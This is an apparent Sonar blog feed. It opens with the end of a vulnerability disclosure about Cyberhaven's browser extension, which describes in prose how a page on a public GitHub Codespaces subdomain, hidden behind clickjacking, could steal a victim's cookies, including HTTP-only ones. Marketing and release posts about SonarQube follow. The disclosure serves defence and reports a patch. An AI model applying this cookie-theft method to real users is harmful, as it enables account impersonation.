To exploit the cookie vulnerability, an attacker just has to find a matching subdomain that contains user-controlled HTML and JavaScript. Since GitHub handles a lot of code-related data, we investigated those domains first and found a good candidate while playing with GitHub Codespaces.

When starting a GitHub Codespace, the integrated IDE runs under <codespace-id>.github.dev, which matches the third domain pattern. However, all the hosted HMTL and JS are controlled by GitHub, not by the user.

When a user starts a web server inside the codespace, they have the option to expose the server's port to the public:

This creates a domain in the form of <codespace-id>-<port>.app.github.dev which still matches the subdomain pattern. When anybody visits this domain for the first time, they have to click a button to acknowledge the risk of visiting a user-controlled page that's not part of GitHub:

After clicking the Continue button, all subsequent requests are directly forwarded to the HTTP server running inside the codespace. An attacker could use this to host a simple payload that abuses the cookie fetching mechanism of Cyberhaven's extension to steal any cookie from the victim.

If the attacker wants to make the attack more stealthy, they can use UI redressing to hide the confirmation page. To do this, they can load the target URL in an iframe, place fake UI elements above the iframe to cause the victim to click, and set the pointer-events: none CSS directive to make clicks go through the fake UI.

Left: Fake UI to cause the user to click.
Right: Showing what's hidden underneath the fake UI.

When an attacker successfully tricks a victim into visiting and clicking on their page, the attack runs silently in the background without the victim noticing what's happening. The attacker can steal any of the victim's cookies from any page, which even works for HTTP-only cookies. These stolen cookies can be used to authenticate as and impersonate the victim.

While the attack requires some user interaction, it is likely possible to find other matching subdomains that can host attacker-controlled pages that require less user interaction.

Patch

To avoid exposing cookies to malicious scripts, the Cyberhaven team decided to rework the user identification mechanism. They switched to methods that don't require cookie access where possible and also restricted the cookie fetching functionality by only allowing certain pages to access their own cookies.

Timeline

Date	Action
2024-10-08	We report the vulnerability to Cyberhaven via email
2024-11-07	We ask Cyberhaven for an update
2024-11-07	We also create a support ticket with Cyberhaven about the vulnerability
2024-11-07	Cyberhaven acknowledges the ticket
2024-11-08	Cyberhaven thanks us and releases patched versions of the extension

Summary

In this blog post, we learned how browser extensions work on a high level, and what some of their risks are. When developing an extension yourself, make sure to treat all websites and their content as untrusted!

This vulnerability showed that security products are a double-edged sword. While they try to protect their users, they usually need elevated privileges to do so. This makes them an interesting target for attackers as vulnerabilities have a higher impact.

Finally, we would like to thank the Cyberhaven team for their fast remediation and good communication. Bugs can happen, and how vendors respond to them shows how much they care about security.

8 Reasons to Try SonarQube Free Tier

Manish Kapur — Wed, 26 Feb 2025 16:00:00 GMT

TL;DR overview

SonarQube Cloud Free tier offers eight key advantages over the self-managed Community Build—including PR analysis with PR decoration, cloud-native DevOps integration, and support for 30 programming languages (nine more than Community Build).
The free tier enables private repository analysis for up to 50,000 lines of code and unlimited public project scanning, eliminating infrastructure management and manual update overhead.
Enhanced security analysis, automatic GitHub project scanning with no configuration required, and seamless upgrades to Team or Enterprise plans make SonarQube Cloud Free an accessible entry point for teams of any size.
Developers who want clean, secure code with minimal setup and no server maintenance will find the SonarQube Cloud Free tier the most practical starting point.

Last year, we released several plans for our SonarQube Cloud offering, including a free offering called SonarQube Free, which packs quite a punch. It’s stacked with loads of features from our paid plans, everything you get with SonarQube Community Build, and fewer headaches.

Here are the top 8 reasons to try SonarQube Cloud Free tier –

Reason 1: Pull Request Analysis

One of the standout features of SonarQube Cloud is its capability to analyze not only the main branch of your project but also pull requests (PRs) of your main branch. This allows teams to ensure that the code quality is maintained across all stages of development and before new code is merged into the main branch. This helps you keep your main branch in a constant production-ready state, which is especially important for DevOps teams who need the continuous deployment flexibility of triggering a build at any given moment. With SonarQube Cloud free tier, Pull Request analysis includes PR decoration, which integrates directly into your DevOps platform (GitHub, GitLab, Bitbucket, and Azure DevOps).

PR decoration provides automated feedback in the comments of pull requests, including a pass/fail Quality Gate status, detection of new issues (bugs, vulnerabilities, and security hotspots), and key code metrics like coverage and duplication, enabling developers to address issues directly within the PR workflow. In contrast, SonarQube Community Build, while powerful, mainly focuses on analyzing the main branch and lacks the detailed PR analysis and decoration provided by the free tier.

Reason 2: Seamless DevOps Integration

SonarQube Cloud excels in integrating DevOps workflows. Users can bypass the need for local installations and complicated configurations. Since it’s part of our SaaS solution, SonarQube Cloud ensures that developers spend less time setting up and maintaining the tool, thus enabling more time for actual development. This seamless integration is facilitated by minimal configuration requirements, making it much easier to implement and maintain within existing CI/CD pipelines.

Reason 3: Maintenance Free

Opting for a SaaS solution like SonarQube Cloud has several inherent benefits. As Sonar manages these aspects, users do not need to worry about infrastructure management, software updates, or patch installation. This reduces operational overhead and ensures that users always have access to the latest features, security updates, and improvements without performing manual upgrades.

Reason 4: More Programming Languages

SonarQube Cloud Free tier extends its support to 30 programming languages, including nine additional languages such as C, C++, Swift, and Dart unavailable in SonarQube Community Build. With this extended support, diverse development teams working with multiple technologies can leverage SonarQube's comprehensive code quality analysis, thus catering to a broader range of development environments and projects.

Reason 5: Enhanced Security

Security remains a top priority for developers, and SonarQube Cloud provides enhanced security analysis. With access to a more extensive set of security rules compared to SonarQube Community Build, the cloud offering can detect more complex issues, provide deeper insights into potential threats, and discover more secrets before they leak into production (using connected mode). The superior capability to identify security vulnerabilities within the free tier ensures your code adheres to security best practices.

Reason 6: Analyze Unlimited Public Projects

A significant advantage of SonarQube Cloud is the ability to analyze unlimited public projects for free. Developers of open-source projects will find this particularly beneficial, enabling continuous monitoring and quality improvements of their publicly shared code without limits on the number of lines of code. This open approach aligns with the collaborative nature of the open-source community.

Reason 7: Private Project Analysis

Do you have projects or code you’re not ready to share with the world? SonarQube Cloud Free tier allows you to analyze private projects at no cost, supporting up to 50,000 lines of code. This ensures you can maintain code quality and security for your private repositories while keeping your work confidential.

Reason 8: Automatic Analysis

SonarQube Cloud Free tier offers automatic analysis for the main branch of GitHub projects, requiring no additional configuration for most programming languages. This simplifies the process of analyzing your code by automatically reading it directly from your repository, eliminating the need to configure CI-based (Continuous Integration) analysis. This means you can receive results from your first analysis almost instantly and start improving your code quality within minutes.

Conclusion

SonarQube Cloud is designed to provide users with an enhanced, simplified, and versatile experience. From extensive language support and advanced security analysis to seamless integration with DevOps workflows and the inherent benefits of a SaaS solution, the free tier empowers developers to maintain high code quality and security standards.

Whether you are working on private repositories or contributing to open-source projects, SonarQube Cloud offers a comprehensive, user-friendly solution that meets the diverse needs of modern development teams.

Ready to experience it for yourself? Sign up for SonarQube Free tier and start improving your code in minutes!

SonarQube Server Wins DEVIES Award for Code Testing & Quality Management

Fabrice Bellingard — Fri, 14 Feb 2025 14:00:00 GMT

TL;DR overview

SonarQube Server has won a Devies Award in the Code Testing and Quality Management category, recognizing its impact on software development practices and developer tooling.
The Devies Awards, presented at Devoxx conferences, are voted on by the developer community and celebrate tools and technologies that have meaningfully improved how software is built.
SonarQube's recognition reflects its broad adoption by over 7 million developers and its consistent performance in helping teams reduce bugs, security vulnerabilities, and technical debt.
The award reinforces Sonar's position as the industry standard for automated code review and integrated code quality and security analysis.

We're thrilled to announce that SonarQube Server has been honored with a 2025 DEVIES Award in the DevOps: Code Testing & Quality Management category. This prestigious award recognizes our commitment to delivering a top-tier code quality and security solution for developers and organizations worldwide. Our self-managed solution, SonarQube Server enables developers and organizations to ensure their code — human-written or AI-generated — leads to maintainable, reliable, and secure software.

The DEVIES Awards, known for spotlighting outstanding innovation and technology in the developer ecosystem, have become a hallmark of excellence. Award winners were selected from hundreds of nominees by the independent, expert-led DevNetwork Advisory Board, based on criteria including: technical innovation; attracting notable attention and awareness in the software industry; and general regard and use by the developer, engineering & IT communities.

Winning in such a competitive DevOps field underscores the impact of SonarQube on shaping how developers and organizations approach code quality and security. The category is new to the DEVIES Awards this year and also points to the importance of code quality and testing in software development. With the cost of poor software quality having grown to at least $2.41 trillion in the US alone, it's clear that code quality must be a top priority.

Code Quality & Testing — More Important Than Ever

Testing and ensuring quality of code is critical in the software development lifecycle, as the foundation of good software is high-quality, secure code. In today’s fast-paced world, developers are expected to ship features rapidly while ensuring their code is free of bugs, vulnerabilities, and technical debt. SonarQube Server is an important ally in this endeavor as the tool for writing secure, maintainable code of the highest quality.

With SonarQube Server, developer teams are empowered to:

Harness the Power of AI — With advanced capabilities like AI Code Assurance and AI CodeFix, developers and organizations can take advantage of generative AI and ensure that the resulting code is clean, secure, and efficient
Automate Code Analysis — SonarQube Server integrates seamlessly into CI/CD pipelines, ensuring every code change is analyzed and evaluated as it is written
Elevate Skills — Providing actionable insights directly within the developer’s workflow, SonarQube Server fosters a culture of learning and shared responsibility
Ensure Security — With robust support for identifying security issues, SonarQube Server helps developers and organizations secure their applications from the ground up
Drive Continuous Improvement — By addressing code quality issues early and often, developer teams reduce long-term technical debt, improve reliability, and avoid the compounding work required to resolve issues discovered later in the software development lifecycle.

A Partner in Innovation

The SonarQube offering (SonarQube Server, SonarQube Cloud, SonarQube for IDE) is more than just a tool for writing quality, secure code. It is a partner in innovation of software. It enables developers to focus on what they do best: building great software. SonarQube covers over 30 programming languages, integrates with popular developer tools, and adapts to organizations of all sizes, from startups to global enterprises.

Receiving the DEVIES Award for Code Testing & Quality Management validates our efforts to stay ahead of the curve and deliver value where it matters most — at the intersection of development and quality management.

However, this isn’t just an award that acknowledges the hard work of the product team at Sonar, it is something we share with our community of over seven million developers worldwide. The feedback, trust, and advocacy in the Sonar community have played a significant role in shaping SonarQube into what it is today. We’re grateful for the partnership of our team members and community members, and we are committed to continuing to push the boundaries of what’s possible.

The Journey Forward

While this award recognition is a momentous milestone to celebrate, it’s also a reminder of the path in front of us. We remain steadfast in delivering innovative solutions that simplify the complexities of software development, enhance the developer experience, and increase productivity.

Thank you to the DEVIES Awards for this acknowledgement, and to the developers and organizations who put their trust in SonarQube as a key part of their development workflows. Here’s to building better code, for better software — together.

Auto-Detect and Review AI-Generated Code from GitHub Copilot

Anirban Chatterjee — Thu, 13 Feb 2025 14:00:00 GMT

TL;DR overview

SonarQube can now automatically detect when GitHub Copilot has been used in a project by evaluating user Copilot usage patterns and code contribution data via the GitHub API.
Once Copilot use is detected, SonarQube flags the project with a "Contains AI Code" badge and runs it through the AI Code Assurance workflow with an AI-optimized quality gate.
The autodetect feature is enabled by default in SonarQube Server 2025.1 LTA and SonarQube Cloud; it requires a GitHub App with read-only access to Copilot Business organization permissions.
Teams can use GitHub Copilot's full productivity potential while ensuring all AI-generated code meets the same rigorous quality and security standards as human-written code.

GitHub Copilot is a game-changer, and making sure that AI-generated code is top-notch — secure, maintainable, and issue-free — is a must. Sonar has your back, letting you weave AI-generated code into your GitHub projects with confidence. Available as part of our SonarQube Server 2025.1 LTA and coming to SonarQube Cloud by April, we now auto-detect and review GitHub projects for AI-generated code from GitHub Copilot (you know, that AI coding assistant with over 100 million users).

SonarQube evaluates users' GitHub Copilot usage and code contribution patterns, and when Copilot use is discovered, the code it generates can be run through Sonar’s rigorous AI Code Assurance workflow, automatically spotting potential issues. This means developer teams can crank up their productivity with AI help, all while keeping their codebase clean and secure.

The direct advantages of this:

See the AI's work: Sonar automatically identifies any project that may contain code generated by GitHub Copilot.
Code review, automated: Once the project is bound to an AI quality gate, Sonar thoroughly checks its code to catch potential problems before they become a headache.
Smooth integration: It slots right into your existing processes and tools, giving you actionable insights without disrupting your flow.
Code with confidence: Use GitHub Copilot to its full potential without worrying about code quality — Sonar's got it covered.

Here’s the ‘step-by-step’ to get started with Sonar’s auto-detection and review of GitHub Copilot-generated code.

How to detect usage of GitHub Copilot

The feature to automatically detect Copilot usage is turned on by default in SonarQube, but a SonarQube administrator has to enable access by setting permissions in your SonarQube GitHub App. This allows SonarQube to use GitHub’s API to see when Copilot is being used.

Here’s how you set permissions:

First, make sure a SonarQube GitHub App has been set up in your GitHub account. You can check this in GitHub by going to Settings in the dropdown menu from your account profile icon in the upper right corner. Then in the left-hand side menu on the Public Profile page, under Integrations, click on Applications. In the list of applications, you should see a SonarQube app. If SonarQube hasn’t been registered as a GitHub App, follow these steps to do that.

Ask a project administrator with GitHub access to navigate to Your SonarQube GitHub App > App settings > Permissions & events > Organization permissions > GitHub Copilot Business and set the access level to Read-only. Note that GitHub will send a confirmation email which must be acknowledged.

Once SonarQube has access to the GitHub API, it will proactively mark projects with a CONTAINS AI CODE status badge when it detects Copilot usage.

However, a few extra steps are needed in order to run this code through Sonar’s AI Code Assurance workflow.

Switch your project’s quality gate to one that is qualified for AI Code Assurance, such as the Sonar-supplied Sonar way for AI Code. You can also use your own AI-qualified quality gate. Please follow our documentation on how to set up your quality gate to be qualified for AI Code Assurance.

Trigger a new analysis.

That’s it! On the next analysis, your project will be checked using the analysis workflow specifically set up for AI-generated code. When you complete the workflow and the code passes the quality gate, you will see the AI Code Assurance passed badge on the project in the portfolio dashboard screen and the project’s overview page.

Get Automating Today

As AI coding tools like GitHub Copilot become increasingly popular, ensuring the quality and security of their output is paramount. Sonar's automated detection and review of AI-generated code from GitHub Copilot addresses this need, enabling developers to meet the rigorous expectations of modern software development.

Sonar Earns SOC 2 Type II Compliance

Andrea Malagodi — Wed, 12 Feb 2025 14:00:00 GMT

TL;DR overview

Sonar has achieved SOC 2 Type II compliance, confirming through third-party audit that its controls for security, availability, and confidentiality are consistently maintained over time across SonarQube Server, SonarQube Cloud, and SonarQube for IDE.
The Trust Services Criteria pursued include the Security common criteria plus Confidentiality and Availability, ensuring cloud customers receive the same data protections as self-hosted SonarQube Server users.
Achieving this certification means Sonar's code and metadata are handled securely and confidentially, solutions maintain high availability, and risk management adheres to established best practices.
SOC 2 Type II compliance is part of Sonar's broader commitment to security, which also includes ISO 27001:2022 certification, regular penetration testing, and continuous encryption improvements.

At Sonar, we are driven by our mission to empower all developers to write secure, high-quality code. With over seven million developers worldwide relying on our SonarQube offering, we are committed to providing not only innovative tools but also the highest levels of security and trust.

Today, we are thrilled to share that Sonar has achieved SOC 2 Type II compliance. This is a significant milestone that reflects our dedication to protecting customer data and ensuring the integrity of our operations now and in the future.

What Is SOC 2 Type II Compliance and Why Does it Matter?

SOC 2 (Service and Organization Controls 2) is a rigorous standard for managing customer data based on five key principles: security, availability, confidentiality, privacy and processing integrity. To achieve SOC 2 Type II compliance, an audit is required by a third party to validate that these principles are consistently met over an extended period.

This certification provides our customers the assurance that Sonar implements and maintains industry-leading controls to safeguard sensitive code, metadata, and operational processes. The Trust Services Criteria (TSC) we pursued include:

Security: Also known as the "Common Criteria," this criterion is the most critical and is required for all SOC 2 evaluations. It ensures that an organization’s systems are protected against unauthorized access, including both physical intrusions and cyber threats. Its objectives include the proper processing, transmission, and disposal of all data and information. The security criterion involves putting various controls and practices in place, such as firewalls and encryption, as well as routine security audits and vulnerability assessments.
Confidentiality: This criterion is designed to ensure sensitive information is properly protected from unauthorized access and disclosure. With a focus on the measures and controls implemented to safeguard confidential data, it requires that organizations define all access limitations of involved team members and customers. Controls often include access restrictions and secure data transmission methods, for example, and the practice of regular employee training on data protection, access, and monitoring.
Availability: This criterion ensures that our systems are accessible for operation and use as needed. Addressing if systems include controls to support timely and uninterrupted services, it reflects our capacity to meet service level agreements (SLAs).

While the Security criteria is typical, we chose to add Confidentiality and Availability because, as cloud adoption continues to grow, we want to provide the necessary assurances to customers (new and migrating), that the same protections they receive in SonarQube Server (self-hosted or Enterprise) can be expected in SonarQube Cloud. Instead of simply offloading availability to the cloud service provider, we share this responsibility with them and hold ourselves accountable for availability and performance of the system in the cloud. This ensures that the system and service customers are consuming and using from Sonar have the requisite controls in place to deliver optimal availability, giving customers confidence in the cloud.

A Testament to Our Commitment to Security

We’ve always placed a high importance on security, and with data breaches continuing to increase, achieving SOC 2 Type II compliance was a clear next step in strengthening the trust that organizations and developers place in us and our solutions.

In addition to external auditing, our products are continuously pen-tested by independent testers, we partner with other organizations to perform red-team exercises, and we subject key systems to regular internal security tests by our security team and our researchers. You can find the pen-test certificates through our Trust Center.

Whether you're using SonarQube Server on-premise to analyze code, leveraging SonarQube Cloud for continuous code quality in the cloud, or relying on SonarQube for IDE to catch issues early on in development, you can be confident that your data is protected. Our SOC 2 Type II compliance ensures that:

Your code and metadata are handled securely and confidentially
Our solutions maintain high availability and reliability
We adhere to best practices for risk management and operational oversight

Looking Ahead

As the software development ecosystem continues to evolve, so too will the security landscape. At Sonar, we are dedicated to always enhancing our security and meeting top industry data protection standards, maintaining the trust of our users. From encryption to regular penetration testing, we are constantly evolving our security measures to stay ahead of emerging threats.

To learn more about our commitment to security, visit our compliance page.

The AI Revolution in Software Development: A New Era for Developers

Harry Wang — Tue, 11 Feb 2025 14:00:00 GMT

TL;DR overview

The AI revolution in software development is reshaping how code is written, reviewed, and maintained—AI coding assistants now generate a significant and growing share of committed code, fundamentally changing the skill mix and workflow of modern engineering teams.
While AI dramatically accelerates code generation and reduces time spent on boilerplate and routine tasks, it introduces new challenges around verification: AI-generated code may contain subtle bugs, security vulnerabilities, and anti-patterns that require automated analysis to catch reliably.
The most effective teams combine AI generation with robust automated verification—a "vibe, then verify" approach—using tools like SonarQube to enforce quality and security standards on all code regardless of its origin.
Developers who succeed in the AI era will be those who excel at reviewing, validating, and improving AI output, rather than simply generating more code faster without quality oversight.

Hey everyone, let's dive into what's really happening in software development. AI is completely reshaping how we build software – and is arguably the most significant change since we moved from punch cards to assembly language. At Sonar, we’re committed to building the tools that will empower you, the developers, to embrace and harness AI in this new era.

To really appreciate this shift, let’s look back at where we came from. From the early days of punch cards and binary code, we moved to assembly language, which was a huge leap that made software engineering feasible as a profession. The broad application of software to solve problems began to emerge. Then, high-level languages, compilers, and other developer tools made programming more accessible, productive, and dare I say, enjoyable. Now, we're entering a new phase where AI is becoming an active partner in the software creation process. AI won't replace us, but it will redefine what it means to be a software engineer.

Here’s what I see happening imminently on the horizon in the world of software engineering:

Blurred Job Roles and Responsibilities. The lines between different software engineering roles are starting to blur. I expect to see more cross-functional work, with designers dabbling in frontend coding, and everyone moving toward more blended full-stack engineering roles.

Engineers as Architects. As AI takes on coding and other routine tasks, like documentation and testing, we'll be able to focus on software architecture and design, using AI-generated insights. We’ll be focusing more on the “why” rather than just the “how”.

Arrival of AI Agents, Leading to More Developers. We will see AI showing up as fully autonomous agents for specialized tasks in the SDLC. We'll interact with these agents using natural language. And probably counter to intuition, we'll see more developers, not fewer, with AI lowering the technical barrier of creating software.

Designing will be a collaborative effort between human creativity and AI insights. We’ll be setting the strategy and design principles, not just the tactical steps.

Programming is shifting towards natural language interactions, with code used mainly for verification and explainability. We’ll be guiding AI to write code, rather than writing all of it ourselves.

Validation remains critical, and we will have to ensure that AI-generated code is of high quality, correct, understandable, and secure. We, the developers, will remain accountable for the outcome—safe, reliable, and performant software with a great user experience.

Sonar: Your Companion in the Age of AI

At Sonar, we’re focused on helping developers build better and faster with actionable code intelligence. Here’s how:

Real-Time Insights. We provide insights to detect and fix code quality and security issues before they hit production.

Comprehensive Code Analysis. Sonar analyzes all of your code — whether it's human-written, AI-generated, or third-party — to ensure it meets high standards. Our Sonar AI Code Assurance validates all AI-generated code for quality and security, empowering developers to confidently integrate AI into their coding.

Minimal Noise. We cut down on false positives, so you can focus on what matters.

Integrated Workflow. Sonar works within your existing IDE and DevOps platforms for a smoother workflow.

We’re embracing AI and adapting to the changing landscape of software development.

Design. With the acquisition of Structure101, Sonar helps you analyze code architecture and dependencies, so you can focus on design activities.

Programming. Sonar is investing in automated code review and remediation to remove developer toil. Our Sonar AI CodeFix automatically suggests code fixes, so you can address issues quickly within your existing workflows.

Validation. Sonar’s quality gates and code orchestration keep you in control, ensuring that all code meets the highest quality and security standards.

The Road Ahead

The future is about collaboration, not competition between humans and machines. Expect more AI, faster job changes, and a greater focus on accountability and outcomes. Sonar is here to help you navigate this new era. Let’s build the future together, better and faster.

9 More Reasons to Upgrade to SonarQube Server 2025.1 LTA

Colin Mueller — Wed, 05 Feb 2025 23:00:00 GMT

TL;DR overview

This post presents nine additional reasons to upgrade to SonarQube Server 2025.1 LTA, the latest Long-Term Active release, building on the core improvements already covered in Sonar's official release documentation.
Highlighted improvements include enhanced static analysis rules across multiple languages, expanded security detection capabilities, improved CI/CD integration workflows, and better developer experience features within the SonarQube Server interface.
LTA releases provide organizations with a stable, supported version of SonarQube Server that receives security patches and critical fixes, making them the recommended upgrade path for enterprises requiring predictable maintenance windows.
Teams running older versions of SonarQube Server benefit from improved accuracy, performance, and coverage by upgrading, with the 2025.1 LTA offering a clear migration path and extended support lifecycle.

SonarQube Server 2025.1 LTA was released in January, and we hope you’ve seen our announcement and are in the process of upgrading!

A new Long-Term Active (LTA) version of SonarQube Server represents a significant amount of work. Since the last LTA release (version 9.9 in February 2023), thousands of development tickets have been merged into SonarQube Server and its underlying components. This includes new features, improvements to existing functionalities, and bug fixes.

Since not all updates can be included in our major release announcements, I want to highlight 9 exciting features that you might not know are part of SonarQube Server 2025.1 LTA.

#1 - Change the main branch of your project

With the latest LTA release, it’s finally easy to designate a new main branch!

We introduced support for Branch Analysis all the way back in SonarQube 6.7. To put it kindly, branches were somewhat “hacked” onto the existing project component. This meant that there was no real differentiation in the underlying data model between a project and the main branch of a project. The result? It has never been possible to change the main branch of a SonarQube project.

There are many good reasons why a user might need to change the main branch, like when a team adopts a new branching strategy or decides to shift the focus to a different branch, such as a long-lived release branch, to better reflect their current workflows.

Previously, changing the main branch in SonarQube wasn’t just inconvenient—it was destructive. The only workaround involved renaming the existing main branch, which meant one branch carrying the history of two separate branches. If the original main branch was still being used, it had to be created as a new branch.

That’s the past now. Now renaming a branch is just a button click away.

#2 - Deactivate Rules in Extended Quality Profiles

We work hard to make sure every rule included in the built-in Sonar way profiles are uncontroversial: something the majority of developers on the majority of projects would find obvious. However, do you agree with every single rule in the built-in Sonar Way Quality Profiles? Let’s be honest—probably not. And that’s okay.

Maybe there’s a rule or two that just doesn’t fit your project’s needs or clashes with a coding technique you’ve used successfully for years. You’re on board with most of the rules but wish you could deactivate a few without losing the benefits of automatic updates to the Sonar Way profiles as your SonarQube Server receives updates.

Previously, the only way to handle this was to copy the Sonar Way profiles and create your own custom version. But this had a big downside: you then had to manually maintain your custom profile every time the original profile was updated—a time-consuming process most users understandably avoided, leading to static, unchanging Quality Profiles.

SonarQube 2025.1 LTA introduces the ability to extend a quality profile while deactivating specific rules. This means you can now inherit updates from the Sonar Way profile while tailoring it to your project’s unique needs. Add the extra rules you need, disable the ones you don’t, and rest easy knowing your quality profile stays up to date with minimal effort.

#3 - Resolve External Issues

SonarQube makes it easy to import external issue reports from many popular static analysis tools, complementing analysis results. However, until now, managing these external issues was a separate task that had to be handled outside of SonarQube. If you wanted to “Accept” the issue or mark it as a false positive, you had to return to the source tool to suppress it.

Not anymore! With the latest LTA release, SonarQube allows you to manage external issues just like native ones.

#4 - Track SonarQube Updates on the Activity Page

Have you or a project stakeholder ever noticed a sudden spike or drop in issues or measures and wondered, “What changed?”

One often overlooked cause is an upgrade to SonarQube itself, which can introduce new rules, improve existing rules, or even introduce new analysis capabilities that widen the scope of analysis.

With the latest LTA release, SonarQube makes it easy to track these changes. The Activity tab of each project now displays an event whenever an analysis is the first one after SonarQube has been upgraded. This simple addition provides some valuable context for understanding shifts in your project metrics.

#5 - Grace Period for Server ID Changes

Migrating a SonarQube instance to a new server or infrastructure can be stressful enough without worrying about your license becoming invalid in the process. In the past, if your Server ID changed – because you took an action that changed the Server ID (like changing the hostname of your database server), you needed to get in touch with Sonar to obtain a new license.

Now, with SonarQube Server 2025.1 LTA, we’ve introduced the ability to activate a grace period when your Server ID changes. This means your license remains temporarily valid, giving you some breathing room to complete your migration without interruption.

This grace period can only be used once, so it’s important to ensure your new Server ID is stable and final before making the switch. This one-time flexibility minimizes downtime while ensuring the integrity of your license.

#6 - Log deprecated API usage

As SonarQube evolves, so does its API. Over time, existing scripts and automations—built with previously valid calls—can end up relying on API features that are later deprecated.

To help you stay ahead of these changes, the SonarQube Server 2025.1 LTA introduces logging for deprecated API usage. Now, whenever a deprecated API is called or a deprecated parameter is used, SonarQube generates a clear warning in the logs, including details about when the parameter was deprecated and its planned removal.

For example:

2025.01.25 17:16:54 WARN web[053defff-65e4-4d38-b240-8ad37f8d491a] /api/system/logs Parameter 'process' is deprecated since 10.4 and will be removed in a future version.

This new feature gives teams the visibility they need to update their automations long before breaking changes occur. Instead of having to fix things at the last minute when planning an upgrade, you can address these changes on your own schedule.

And no, we definitely didn’t add this feature to make sure we aren’t using deprecated APIs ourselves in SonarQube. 😉

#7 -Track Users’ Last Connection to SonarQube for IDE

The earlier issues are fixed, the better. Fixing them before deployment is good, catching them before a merge is better, but identifying them before a commit? That’s the gold standard. That’s where SonarQube for IDE (formerly SonarLint) comes in, helping developers address issues directly in their IDEs as they code.

To help organizations track the adoption of SonarQube for IDE, you can now view when a user last connected to SonarQube for IDE (in the UI and via the Web API) This visibility makes it easier to assess how widely connected mode is being used across your teams—and nudge developers who might not yet be taking full advantage of it.

This feature isn’t just about metrics; it’s about fostering better coding practices. By encouraging early issue detection, teams can save time, reduce merge conflicts, and improve the quality of their software from the ground up.

Of course, with great power comes great responsibility! Use these insights thoughtfully to support developers, not micromanage them. After all, the goal is to help teams fix issues sooner, not add unnecessary pressure.

#8 - Suppress New Issues in SonarQube for IDE Before They’re Raised on SonarQube Server

We’re not done talking about SonarQube for IDE.

With SonarQube Server 2025.1 LTA, users can now suppress issues flagged by SonarQube for IDE before they make it to SonarQube Server. Whether you want to mark an issue as “Won’t Fix” (now called Accept) or as a False Positive, you can do so directly in your IDE.

This was previously only possible once an issue had been raised in SonarQube Server—now, you don’t have to wait until the analysis is submitted to sift through the results for issues you already know you aren’t going to fix. If you suppress an issue in SonarQube for IDE, it won’t show up again later.

This feature is supported for IntelliJ, VS Code, and Eclipse

#9 - JRE auto-provisioning

If you’ve ever had to scramble to update your CI pipelines or local environments because SonarQube bumped its Java requirement, you know the pain. The jump from Java 8 to 11 in SonarQube 9.0 was a particularly memorable challenge.

We have to upgrade to newer Java versions for our developers to use new features, reduce headaches, and stay innovative. But we know this can be a pain for you, especially when managing hundreds of CI pipelines.

And guess what? We’ve updated the requirement again to Java 17. However, this time, most of our users didn’t notice!

SonarQube Server 2025.1 LTA introduces JRE Auto-Provisioning. Instead of requiring you to manage the right Java version in your pipeline, SonarQube now spins off a new Java process with a JRE downloaded from your SonarQube server. That means you can leave your Java 11 build alone. Just make sure you’re using a version of the SonarScanner that supports this feature.

We really hope that most users will never have to think about what version of Java is required by the SonarScanner again.

Just an upgrade away from it all

If you haven’t tried SonarQube Server 2025.1 LTA yet, I hope you now have 9 more reasons to prepare that upgrade with your team. This is a free version upgrade for all, and you can get the LTA in just a few clicks @ SonarQube Server Downloads.

Need more help getting started? Check the following resources:

Enhancing Team Code Reviews with AI-Generated Code

Jonathan Vila — Mon, 03 Feb 2025 23:00:00 GMT

TL;DR overview

AI-generated code introduces new code review challenges: it can be syntactically correct and functionally plausible yet contain subtle security vulnerabilities or maintainability issues.
Static analysis tools like SonarQube can automatically flag security flaws, code smells, and reliability issues in AI-generated code before it reaches human reviewers or production.
Teams should treat AI-generated code with the same scrutiny as human-written code—applying quality gates and security checks in the PR workflow regardless of code origin.
Establishing a "vibe, then verify" culture—where developers use AI to move fast and then rely on automated analysis to catch issues—enables teams to scale AI adoption safely.

Team Code reviews are essential to the development process. They ensure that the code meets the required standards before being merged into the main branch. They also help share knowledge by informing team members about the new changes made and the software development techniques employed during the implementation.

With the adoption of AI-generated code, reviews are becoming even more critical in the SDLC. Code assistants create an increasing amount of code that developers must carefully review to avoid security, performance, or execution errors.

This article shows the clear need for using tools like SonarQube to enhance the speed and security of code reviews while increasing developer confidence.

The Growth of AI-Generated Code

AI-generated code is growing rapidly in all projects’ code bases. For example, CEOs from Google and Meta are heavily investing in it internally and recently claimed that AI generates 25% of their new code or that AI will do the job of a mid-level engineer. To help create that amount of code, companies have introduced a new tool in their SDLC: the code assistants. They can help developers by suggesting code snippets, functions, and entire classes. While this can significantly speed up development, it also introduces new challenges:

Code Quality: AI-generated code may not always follow best practices or coding standards.
Security: AI models might introduce security vulnerabilities.
Consistency: AI-generated code tends not to be consistent with the rest of the codebase.

The Role of Code Reviews

Code reviews are essential for maintaining code quality and security. They involve examining the code by one or more developers who provide feedback and suggest improvements or fixes. The primary goals of code reviews are:

Identifying Bugs: Catching bugs early in the development process.
Ensuring Code Quality: Following agreed-on coding standards and best practices.
Enhancing Security: Identifying and mitigating potential security vulnerabilities.
Knowledge Sharing: Promoting knowledge transfer among team members.

While these are very positive outcomes, they could also add anxiety to the SDLC by exposing the issues introduced to the team of reviewers and serving as a space for dysfunctional collaborations.

The Problem with Traditional Code Reviews

For large and distributed teams, code reviews can present several challenges:

Time-Intensive: Reviewers spend considerable time identifying issues such as code smells, security vulnerabilities, and adherence to coding standards.
Inconsistencies: Human reviewers may have varying experience levels, leading to subjective feedback.
High Cognitive Load: Reviewing large pull requests with hundreds of lines of code can overwhelm even the most experienced developers.
Delayed Feedback: Waiting for a code review can slow the development pipeline, impacting delivery timelines.

These pain points make it clear: teams need smarter tools to assist with the heavy lifting of code reviews.

Using good manners during Code Reviews will help teams reach their full potential and reduce friction and anxiety. Even after using “good manners” to have healthy pull requests, the code review will still raise awareness of the issues among the reviewers, as this is the natural goal of the pull request.

While this is positive in fixing the issues, it can also harm developer confidence if the issues are easy to spot, require fundamental knowledge, or simply the developer lacks attention to detail.

Team Code Reviews should focus on issues requiring broader knowledge from peers with more experience or profound knowledge of specific areas (performance, security).

Enhancing Team Code Reviews with Tooling

The key to having healthy and productive reviews is to use tools that explain the scope and check, warn, and even suggest fixes to avoid adding easy-fix issues to the code reviews. These tools will increase developer confidence and save time for the team with faster code reviews.

The proposed flow would be:

Code the feature using an IDE
Automatic analysis while coding (linter IDE plugin)
Fix the highlighted issues
Commit changes
Open a PR to have the Team Code Review
Use AI Agents to clarify the scope and give further explanation of the code
Review the changes with the review team and suggest changes (loop)
Try the merge to the main branch (involves an analysis and Quality Gate check)

